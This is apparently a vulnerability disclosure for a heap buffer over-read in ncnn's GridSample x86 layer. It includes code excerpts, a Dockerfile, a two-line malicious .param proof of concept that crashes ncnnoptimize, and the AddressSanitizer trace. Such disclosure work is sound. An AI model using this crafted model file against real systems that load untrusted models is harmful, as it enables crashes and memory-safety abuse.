GridSample Heap Buffer Over-Read

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/gridsample_x86.cpp:49 in GridSample_x86::forward
Sanitizer verdict: heap-buffer-overflow

Summary

A .param graph that declares a GridSample layer with a single bottom blob instead of the required two makes the x86 implementation dereference bottom_blobs[1], reading a Mat object that was never allocated and crashing ncnnoptimize during shape inference. The attacker controls the layer's bottom count directly in the textual parameter file; ncnn's loader does not enforce per-layer arity. No weight file is required — null works for the binary stream.

Detail

NetPrivate::do_forward_layer sizes the input vector purely from what the model declared, so a one-bottom GridSample yields a one-element std::vector<Mat>. GridSample_x86::forward then reads the second element unconditionally and immediately touches a field on it:

// src/layer/x86/gridsample_x86.cpp:34
int GridSample_x86::forward(const std::vector<Mat>& bottom_blobs, std::vector<Mat>& top_blobs, const Option& opt) const
{
    const Mat& bottom_blob = bottom_blobs[0];
    const Mat& grid = bottom_blobs[1];
    Mat& top_blob = top_blobs[0];
    int elempack = bottom_blob.elempack;

// src/layer/x86/gridsample_x86.cpp:48
    Mat grid_p1;
    if (grid.elempack != 1)
    {
        convert_packing(grid, grid_p1, 1, opt);
    }

Binding bottom_blobs[1] to a reference is itself out of bounds, but nothing faults until line 49 dereferences it. ncnn::Mat is 88 bytes on this build, so bottom_blobs[1] starts 88 bytes past the start of a single-element vector allocation, and grid.elempack sits at offset 24 within that phantom object. The PoC declares GridSample sample 1 1 data output 0=1 1=1 2=0 3=0 — one bottom, one top — so the 4-byte read at line 49 lands in unowned heap between allocations, which AddressSanitizer flags as a heap-buffer-overflow 16 bytes before the neighbouring 88-byte top_blobs block.

Had the read happened to hit a plausible non-1 elempack value, convert_packing would then have been driven over the same uninitialized Mat, turning the read into arbitrary pointer use. The layer's own load_param never records an expected bottom count, and Net::load_param accepts whatever bottom count the file states, so there is no point at which the one-bottom graph is rejected.

Reproduce

mkdir -p ncnn-poc-gridsample-heap-buffer-over-read && cd ncnn-poc-gridsample-heap-buffer-over-read

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data 0=1
GridSample sample 1 1 data output
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x508000000310 at pc 0x5eb6ad802844 bp 0x7ffda4288f30 sp 0x7ffda4288f20
READ of size 4 at 0x508000000310 thread T0
    #0 0x5eb6ad802843 in ncnn::GridSample_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/build/src/layer/x86/gridsample_x86_avx512.cpp:49
    #1 0x5eb6a4aeb70b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
    #2 0x5eb6a4ad3b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #3 0x5eb6a4b339e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #4 0x5eb6a49c53c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #5 0x5eb6a4a42eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #6 0x78ac3d1f51c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x78ac3d1f528a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x5eb6a49c2624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x508000000310 is located 16 bytes before 88-byte region [0x508000000320,0x508000000378)
allocated by thread T0 here:
    #0 0x78ac3d870548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
    #1 0x5eb6a4a53a99 in std::__new_allocator<ncnn::Mat>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
    #2 0x5eb6a4a4f522 in std::allocator_traits<std::allocator<ncnn::Mat> >::allocate(std::allocator<ncnn::Mat>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
    #3 0x5eb6a4a4f522 in std::_Vector_base<ncnn::Mat, std::allocator<ncnn::Mat> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
    #4 0x5eb6a4b411be in std::_Vector_base<ncnn::Mat, std::allocator<ncnn::Mat> >::_M_create_storage(unsigned long) /usr/include/c++/13/bits/stl_vector.h:398
    #5 0x5eb6a4b3dbd4 in std::_Vector_base<ncnn::Mat, std::allocator<ncnn::Mat> >::_Vector_base(unsigned long, std::allocator<ncnn::Mat> const&) /usr/include/c++/13/bits/stl_vector.h:335
    #6 0x5eb6a4b3c1a0 in std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >::vector(unsigned long, std::allocator<ncnn::Mat> const&) /usr/include/c++/13/bits/stl_vector.h:557
    #7 0x5eb6a4aeb670 in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:855
    #8 0x5eb6a4ad3b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #9 0x5eb6a4b339e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #10 0x5eb6a49c53c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #11 0x5eb6a4a42eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #12 0x78ac3d1f51c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #13 0x78ac3d1f528a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #14 0x5eb6a49c2624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/build/src/layer/x86/gridsample_x86_avx512.cpp:49 in ncnn::GridSample_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const

Credit

Zheng Yu @ DepthFirst